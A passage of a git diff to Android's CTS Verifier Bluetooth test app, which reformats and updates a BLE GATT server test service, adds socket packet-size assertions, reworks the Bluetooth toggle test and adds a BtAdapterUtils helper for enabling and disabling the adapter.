     private static final long NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE = 5 * 1000;
 
     public static final String WRITE_VALUE = "SERVER_TEST";
-    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
-    private static final String INDICATE_VALUE = "INDICATE_TEST";
+    public static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    public static final String INDICATE_VALUE = "INDICATE_TEST";
     public static final String READ_NO_PERMISSION = "READ_NO_CHAR";
     public static final String WRITE_NO_PERMISSION = "WRITE_NO_CHAR";
     public static final String DESCRIPTOR_READ_NO_PERMISSION = "READ_NO_DESC";
@@ -303,20 +300,20 @@
         String action = intent.getAction();
         if (action != null) {
             switch (action) {
-            case BLE_ACTION_SERVER_SECURE:
-                mSecure = true;
-                if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
-                    showMessage("Skip MTU test.");
-                    mCountMtuChange = 1;
-                    notifyMtuRequest();
-                    mCountMtuChange = 2;
-                    notifyMtuRequest();
-                    mCountMtuChange = 0;
-                }
-                break;
-            case BLE_ACTION_SERVER_NON_SECURE:
-                mSecure = false;
-                break;
+                case BLE_ACTION_SERVER_SECURE:
+                    mSecure = true;
+                    if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+                        showMessage("Skip MTU test.");
+                        mCountMtuChange = 1;
+                        notifyMtuRequest();
+                        mCountMtuChange = 2;
+                        notifyMtuRequest();
+                        mCountMtuChange = 0;
+                    }
+                    break;
+                case BLE_ACTION_SERVER_NON_SECURE:
+                    mSecure = false;
+                    break;
             }
         }
 
@@ -337,7 +334,7 @@
         cancelNotificationTaskOfSecureTestStartFailure();
         stopAdvertise();
         if (mGattServer == null) {
-           return;
+            return;
         }
         if (mDevice != null) {
             mGattServer.cancelConnection(mDevice);
@@ -631,7 +628,8 @@
 
     private BluetoothGattService createServiceChangedService() {
         BluetoothGattService service =
-                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED,
+                        BluetoothGattService.SERVICE_TYPE_PRIMARY);
 
         BluetoothGattCharacteristic dummyCharacteristic =
                 new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
@@ -642,15 +640,16 @@
 
     /**
      * Create service for notification test
-     * @return
      */
     private BluetoothGattService createAdditionalNotificationService() {
         BluetoothGattService service =
-                new BluetoothGattService(SERVICE_UUID_ADDITIONAL, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+                new BluetoothGattService(SERVICE_UUID_ADDITIONAL,
+                        BluetoothGattService.SERVICE_TYPE_PRIMARY);
 
         BluetoothGattCharacteristic notiCharacteristic =
                 new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_1, 0x12, 0x1);
-        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID,
+                0x11);
         descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
         notiCharacteristic.addDescriptor(descriptor);
         notiCharacteristic.setValue(NOTIFY_VALUE);
@@ -742,7 +741,8 @@
         descriptor.setValue(WRITE_VALUE.getBytes());
         characteristic.addDescriptor(descriptor);
 
-        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(
+                DESCRIPTOR_NO_READ_UUID, 0x10);
         characteristic.addDescriptor(descriptor_permission);
 
         descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
@@ -753,10 +753,12 @@
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
 
-        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
+        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(
+                DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
         characteristic.addDescriptor(descriptor_encrypted);
 
-        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, 0x20);
+        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID,
+                0x20);
         characteristic.addDescriptor(descriptor_encrypted);
 
         service.addCharacteristic(characteristic);
@@ -774,11 +776,13 @@
 
         // Registered the characteristic of authenticate (Encrypted) for operation confirmation.
         characteristic =
-                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A,
+                        0x02);
         service.addCharacteristic(characteristic);
 
         characteristic =
-                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A,
+                        0x20);
         service.addCharacteristic(characteristic);
 
         // Add new Characteristics(Indicate)
@@ -841,7 +845,8 @@
 
         // Add new Characteristics (Service change control)
         BluetoothGattCharacteristic controlCharacteristic =
-                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08,
+                        0x10);
         service.addCharacteristic(controlCharacteristic);
 
         return service;
@@ -896,7 +901,8 @@
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mDevice = device;
                     boolean bonded = false;
-                    Set<BluetoothDevice> pairedDevices = mBluetoothManager.getAdapter().getBondedDevices();
+                    Set<BluetoothDevice> pairedDevices =
+                            mBluetoothManager.getAdapter().getBondedDevices();
                     if (pairedDevices.size() > 0) {
                         for (BluetoothDevice target : pairedDevices) {
                             if (target.getAddress().equals(device.getAddress())) {
@@ -906,7 +912,8 @@
                         }
                     }
 
-                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) || !bonded)) {
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE)
+                            || !bonded)) {
                         // not pairing and execute Secure Test
                         cancelNotificationTaskOfSecureTestStartFailure();
                         /*
@@ -914,7 +921,8 @@
                             @Override
                             public void run() {
                                 mNotificationTaskOfSecureTestStartFailure = null;
-                                if (mSecure && (mDevice.getBondState() != BluetoothDevice.BOND_BONDED)) {
+                                if (mSecure && (mDevice.getBondState() != BluetoothDevice
+                                .BOND_BONDED)) {
                                     notifyMismatchSecure();
                                 }
                             }
@@ -922,7 +930,8 @@
                         mHandler.postDelayed(mNotificationTaskOfSecureTestStartFailure,
                                 NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE);
                         */
-                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE) || bonded)) {
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+                            || bonded)) {
                         // already pairing nad execute Insecure Test
                         /*
                         notifyMismatchInsecure();
@@ -950,11 +959,13 @@
                 if (uuid.equals(mService.getUuid())) {
                     // create and add nested service
                     BluetoothGattService includedService =
-                            new BluetoothGattService(SERVICE_UUID_INCLUDED, BluetoothGattService.SERVICE_TYPE_SECONDARY);
+                            new BluetoothGattService(SERVICE_UUID_INCLUDED,
+                                    BluetoothGattService.SERVICE_TYPE_SECONDARY);
                     BluetoothGattCharacteristic characteristic =
-                        new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+                            new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
                     characteristic.setValue(WRITE_VALUE.getBytes());
-                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(
+                            DESCRIPTOR_UUID, 0x11);
                     descriptor.setValue(WRITE_VALUE.getBytes());
                     characteristic.addDescriptor(descriptor);
                     includedService.addCharacteristic(characteristic);
@@ -976,7 +987,8 @@
         }
 
         @Override
-        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+                BluetoothGattCharacteristic characteristic) {
             if (mGattServer == null) {
                 if (DEBUG) {
                     Log.d(TAG, "GattServer is null, return");
@@ -1028,7 +1040,8 @@
                 return;
             }
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite
+                        + ", responseNeeded= " + responseNeeded);
             }
 
             if (characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
@@ -1052,14 +1065,16 @@
                         break;
                 }
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
                 return;
             }
 
             if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
                 mGattServer.removeService(mServiceChangedService);
                 return;
@@ -1077,7 +1092,8 @@
                     }
                 }
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
 
                 return;
@@ -1096,7 +1112,8 @@
             } else {
                 characteristic.setValue(value);
                 // verify
-                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+                        characteristic.getValue())) {
                     UUID uid = characteristic.getUuid();
                     if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
                         notifyCharacteristicWriteRequestNeedEncrypted();
@@ -1109,7 +1126,8 @@
             }
 
             if (responseNeeded) {
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                        value);
             }
         }
 
@@ -1122,13 +1140,13 @@
                 }
                 return;
             }
-                if (DEBUG) {
+            if (DEBUG) {
                 Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
                         + (descriptor == getDescriptor()));
             }
 
             UUID uid = descriptor.getUuid();
-            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)){
+            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
                 notifyDescriptorReadRequestNeedEncrypted();
             } else {
                 notifyDescriptorReadRequest();
@@ -1146,7 +1164,7 @@
         public void onDescriptorWriteRequest(BluetoothDevice device, int requestId,
                 BluetoothGattDescriptor descriptor,
                 boolean preparedWrite, boolean responseNeeded,
-                int offset,  byte[] value) {
+                int offset, byte[] value) {
             if (mGattServer == null) {
                 if (DEBUG) {
                     Log.d(TAG, "GattServer is null, return");
@@ -1156,38 +1174,44 @@
             BluetoothGattCharacteristic characteristic = descriptor.getCharacteristic();
             UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite
+                        + ", responseNeeded= " + responseNeeded);
                 Log.d(TAG, "   characteristic uuid = " + uid);
             }
 
-            descriptor.setValue(value);
             UUID duid = descriptor.getUuid();
             // If there is a written request to the CCCD for Notify.
             if (duid.equals(UPDATE_DESCRIPTOR_UUID)) {
                 if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE)) {
-                    mGattServer.notifyCharacteristicChanged(mDevice, descriptor.getCharacteristic(), false);
+                    mGattServer.notifyCharacteristicChanged(
+                            mDevice, descriptor.getCharacteristic(), false,
+                            characteristic.getValue());
+
                     mIndicated = false;
                 } else if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_INDICATION_VALUE)) {
-                    mGattServer.notifyCharacteristicChanged(mDevice, descriptor.getCharacteristic(), true);
+                    mGattServer.notifyCharacteristicChanged(
+                            mDevice, descriptor.getCharacteristic(), true,
+                            characteristic.getValue());
                     mIndicated = true;
                 }
             } else if (duid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
                 // verify
-                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), value)) {
                     notifyDescriptorWriteRequestNeedEncrypted();
                 } else {
                     showMessage("Written data is not correct");
                 }
             } else {
                 // verify
-                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), value)) {
                     notifyDescriptorWriteRequest();
                 } else {
                     showMessage("Written data is not correct");
                 }
             }
             if (responseNeeded) {
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                        value);
             }
         }
 
@@ -1282,14 +1306,14 @@
             Log.d(TAG, "startAdvertise");
         }
         AdvertiseData data = new AdvertiseData.Builder()
-            .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1,2,3})
-            .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
-            .build();
+                .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})
+                .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
+                .build();
         AdvertiseSettings setting = new AdvertiseSettings.Builder()
-            .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
-            .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
-            .setConnectable(true)
-            .build();
+                .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+                .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+                .setConnectable(true)
+                .build();
         mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
     }
 
@@ -1302,7 +1326,7 @@
         }
     }
 
-    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {
         @Override
         public void onStartFailure(int errorCode) {
             // Implementation for API Test.
@@ -1328,7 +1352,8 @@
         }
     };
 
-    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+    /*protected*/
+    static void dumpService(BluetoothGattService service, int level) {
         String indent = "";
         for (int i = 0; i < level; ++i) {
             indent += "  ";
@@ -1340,18 +1365,20 @@
         for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
             Log.d(TAG, indent + "    UUID: " + ch.getUuid());
             Log.d(TAG, indent + "      properties: " + String.format("0x%02X", ch.getProperties()));
-            Log.d(TAG, indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG,
+                    indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
             Log.d(TAG, indent + "      [descriptors]");
             for (BluetoothGattDescriptor d : ch.getDescriptors()) {
                 Log.d(TAG, indent + "        UUID: " + d.getUuid());
-                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X", d.getPermissions()));
+                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X",
+                        d.getPermissions()));
             }
         }
 
         if (service.getIncludedServices() != null) {
             Log.d(TAG, indent + "  [included services]");
             for (BluetoothGattService s : service.getIncludedServices()) {
-                dumpService(s, level+1);
+                dumpService(s, level + 1);
             }
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
index e89fc94..cf2ba35 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.verifier.bluetooth;
 
+import static org.junit.Assert.assertTrue;
+
+import android.annotation.NonNull;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothServerSocket;
@@ -216,9 +219,17 @@
      * @param socket  The BluetoothSocket on which the connection was made
      * @param device  The BluetoothDevice that has been connected
      */
-    public synchronized void connected(BluetoothSocket socket, BluetoothDevice
+    public synchronized void connected(@NonNull BluetoothSocket socket, BluetoothDevice
             device, final String socketType) {
-        if (D) Log.d(TAG, "connected, Socket Type: " + socketType);
+        if (D) {
+            Log.d(TAG, "connected, Socket Type: " + socketType
+                    + ", MaxReceivePacketSize: " + socket.getMaxReceivePacketSize()
+                    + ", MaxTransmitPacketSize: " + socket.getMaxTransmitPacketSize());
+        }
+        assertTrue("socket.getMaxReceivePacketSize() expected to be non negative value instead of "
+                + socket.getMaxReceivePacketSize(), socket.getMaxReceivePacketSize() >= 0);
+        assertTrue("socket.getMaxTransmitPacketSize() expected to be non negative value instead of "
+                + socket.getMaxTransmitPacketSize(), socket.getMaxTransmitPacketSize() >= 0);
 
         // Cancel the thread that completed the connection
         if (mConnectThread != null) {mConnectThread.cancel(); mConnectThread = null;}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothToggleActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothToggleActivity.java
index d3b1866..cfd7b07 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothToggleActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothToggleActivity.java
@@ -16,11 +16,6 @@
 
 package com.android.cts.verifier.bluetooth;
 
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
 import android.bluetooth.BluetoothAdapter;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -32,6 +27,9 @@
 import android.view.View.OnClickListener;
 import android.widget.ToggleButton;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
 /**
  * Activity for testing that Bluetooth can be disabled and enabled properly. The activity shows
  * a button that toggles Bluetooth by disabling it via {@link BluetoothAdapter#disable()} and
@@ -42,13 +40,12 @@
     private static final String TAG = BluetoothToggleActivity.class.getName();
 
     private static final int START_ENABLE_BLUETOOTH_REQUEST = 1;
+    private static final int START_DISABLE_BLUETOOTH_REQUEST = 2;
 
     private BluetoothAdapter mBluetoothAdapter;
 
     private BluetoothBroadcastReceiver mReceiver;
 
-    private ProgressDialog mDisablingDialog;
-
     private ToggleButton mToggleButton;
 
     private int mNumDisabledTimes = 0;
@@ -65,9 +62,6 @@
         IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
         registerReceiver(mReceiver, filter);
 
-        mDisablingDialog = new ProgressDialog(this);
-        mDisablingDialog.setMessage(getString(R.string.bt_disabling));
-
         mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
 
         getPassButton().setEnabled(false);
@@ -87,12 +81,17 @@
     }
 
     private void enableBluetooth() {
-        mDisablingDialog.dismiss();
         mToggleButton.setEnabled(false);
         Intent intent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE);
         startActivityForResult(intent, START_ENABLE_BLUETOOTH_REQUEST);
     }
 
+    private void disableBluetooth() {
+        mToggleButton.setEnabled(false);
+        Intent intent = new Intent(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+        startActivityForResult(intent, START_DISABLE_BLUETOOTH_REQUEST);
+    }
+
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
@@ -102,22 +101,14 @@
                 mToggleButton.setChecked(enabledBluetooth);
                 mToggleButton.setEnabled(true);
                 break;
+            case START_DISABLE_BLUETOOTH_REQUEST:
+                boolean disabledBluetooth = RESULT_OK == resultCode;
+                mToggleButton.setChecked(!disabledBluetooth);
+                mToggleButton.setEnabled(true);
+                break;
         }
     }
 
-    private void disableBluetooth() {
-        mDisablingDialog.show();
-        mToggleButton.setEnabled(false);
-        if (!mBluetoothAdapter.disable()) {
-            mDisablingDialog.dismiss();
-            mToggleButton.setEnabled(true);
-            new AlertDialog.Builder(this)
-                .setIcon(android.R.drawable.ic_dialog_alert)
-                .setMessage(R.string.bt_disabling_error)
-                .setPositiveButton(android.R.string.ok, null)
-                .show();
-        }
-    }
 
     class BluetoothBroadcastReceiver extends BroadcastReceiver {
         @Override
@@ -138,11 +129,6 @@
                 mNumEnabledTimes++;
             }
 
-            if (BluetoothAdapter.STATE_OFF == newState) {
-                mDisablingDialog.dismiss();
-                mToggleButton.setEnabled(true);
-            }
-
             mToggleButton.setChecked(mBluetoothAdapter.isEnabled());
             getPassButton().setEnabled(mNumDisabledTimes > 0 &&  mNumEnabledTimes > 0);
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BtAdapterUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BtAdapterUtils.java
new file mode 100644
index 0000000..1576d34
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BtAdapterUtils.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.util.Log;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Utility for controlling the Bluetooth adapter from CTS test.
+ *
+ * Code mostly copied from android.bluetooth.cts.BTAdapterUtils class.
+ */
+public class BtAdapterUtils {
+    private static final String TAG = "BtAdapterUtils";
+
+    // ADAPTER_ENABLE_TIMEOUT_MS = AdapterState.BLE_START_TIMEOUT_DELAY +
+    //                              AdapterState.BREDR_START_TIMEOUT_DELAY
+    private static final int ADAPTER_ENABLE_TIMEOUT_MS = 8000;
+    // ADAPTER_DISABLE_TIMEOUT_MS = AdapterState.BLE_STOP_TIMEOUT_DELAY +
+    //                                  AdapterState.BREDR_STOP_TIMEOUT_DELAY
+    private static final int ADAPTER_DISABLE_TIMEOUT_MS = 5000;
+
+    private static BroadcastReceiver sAdapterIntentReceiver;
+
+    private static Condition sConditionAdapterIsEnabled;
+    private static ReentrantLock sAdapterStateEnablingLock;
+
+    private static Condition sConditionAdapterIsDisabled;
+    private static ReentrantLock sAdapterStateDisablingLock;
+    private static boolean sAdapterVarsInitialized;
+
+    private static HandlerThread sHandlerThread;
+    private static Looper sLooper;
+    private static Handler sHandler;
+
+    private static class AdapterIntentReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(intent.getAction())) {
+                int previousState = intent.getIntExtra(BluetoothAdapter.EXTRA_PREVIOUS_STATE, -1);
+                int newState = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
+                Log.d(TAG, "Previous state: " + previousState + " New state: " + newState);
+
+                if (newState == BluetoothAdapter.STATE_ON) {
+                    sAdapterStateEnablingLock.lock();
+                    try {
+                        Log.d(TAG, "Signaling to mConditionAdapterIsEnabled");
+                        sConditionAdapterIsEnabled.signal();
+                    } finally {
+                        sAdapterStateEnablingLock.unlock();
+                    }
+                } else if (newState == BluetoothAdapter.STATE_OFF) {
+                    sAdapterStateDisablingLock.lock();
+                    try {
+                        Log.d(TAG, "Signaling to mConditionAdapterIsDisabled");
+                        sConditionAdapterIsDisabled.signal();
+                    } finally {
+                        sAdapterStateDisablingLock.unlock();
+                    }
+                }
+            }
+        }
+    }
+
+    /** Enables the Bluetooth Adapter. Return true if it is already enabled or is enabled. */
+    public static boolean enableAdapter(BluetoothAdapter bluetoothAdapter, Context context) {
+        if (!sAdapterVarsInitialized) {
+            initAdapterStateVariables(context);
+        }
+        registerIntentReceiver(context);
+
+        if (bluetoothAdapter.isEnabled()) return true;
+
+        bluetoothAdapter.enable();
+        sAdapterStateEnablingLock.lock();
+        try {
+            // Wait for the Adapter to be enabled
+            while (!bluetoothAdapter.isEnabled()) {
+                if (!sConditionAdapterIsEnabled.await(
+                        ADAPTER_ENABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for the Bluetooth Adapter enable");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "enableAdapter: interrupted");
+        } finally {
+            sAdapterStateEnablingLock.unlock();
+        }
+        return bluetoothAdapter.isEnabled();
+    }
+
+    /** Disable the Bluetooth Adapter. Return true if it is already disabled or is disabled. */
+    public static boolean disableAdapter(BluetoothAdapter bluetoothAdapter, Context context) {
+        if (!sAdapterVarsInitialized) {
+            initAdapterStateVariables(context);
+        }
+        registerIntentReceiver(context);
+
+        if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) return true;
+
+        bluetoothAdapter.disable();
+        sAdapterStateDisablingLock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (bluetoothAdapter.getState() != BluetoothAdapter.STATE_OFF) {
+                if (!sConditionAdapterIsDisabled.await(
+                        ADAPTER_DISABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for the Bluetooth Adapter disable");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "disableAdapter: interrupted");
+        } finally {
+            sAdapterStateDisablingLock.unlock();
+        }
+        return bluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF;
+    }
+
+    private static void registerIntentReceiver(Context context) {
+        sAdapterIntentReceiver = new AdapterIntentReceiver();
+        IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
+        context.registerReceiver(sAdapterIntentReceiver, filter);
+    }
+
+    // Initialize variables required for TestUtils#enableAdapter and TestUtils#disableAdapter
+    private static void initAdapterStateVariables(Context context) {
+        sAdapterStateEnablingLock = new ReentrantLock();
+        sConditionAdapterIsEnabled = sAdapterStateEnablingLock.newCondition();
+        sAdapterStateDisablingLock = new ReentrantLock();
+        sConditionAdapterIsDisabled = sAdapterStateDisablingLock.newCondition();
+
+        sAdapterVarsInitialized = true;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java
index 21dd013..6a6db34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java
@@ -25,11 +25,11 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
-
 import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -96,9 +96,16 @@
     private BluetoothHidDevice.Callback mCallback = new BluetoothHidDevice.Callback() {
         @Override
         public void onAppStatusChanged(BluetoothDevice pluggedDevice, boolean registered) {
+            super.onAppStatusChanged(pluggedDevice, registered);
             Log.d(TAG, "onAppStatusChanged: pluggedDevice=" + pluggedDevice + " registered="
                     + registered);
         }
+
+        @Override
+        public void onConnectionStateChanged(BluetoothDevice device, int state) {
+            super.onConnectionStateChanged(device, state);
+            Log.d(TAG, "onConnectionStateChanged: device=" + device + " state=" + state);
+        }
     };
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/OWNERS
index 52531aa..5b1ab9d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 27441
-zachoverflow@google.com
\ No newline at end of file
+zachoverflow@google.com
+sungsoo@google.com
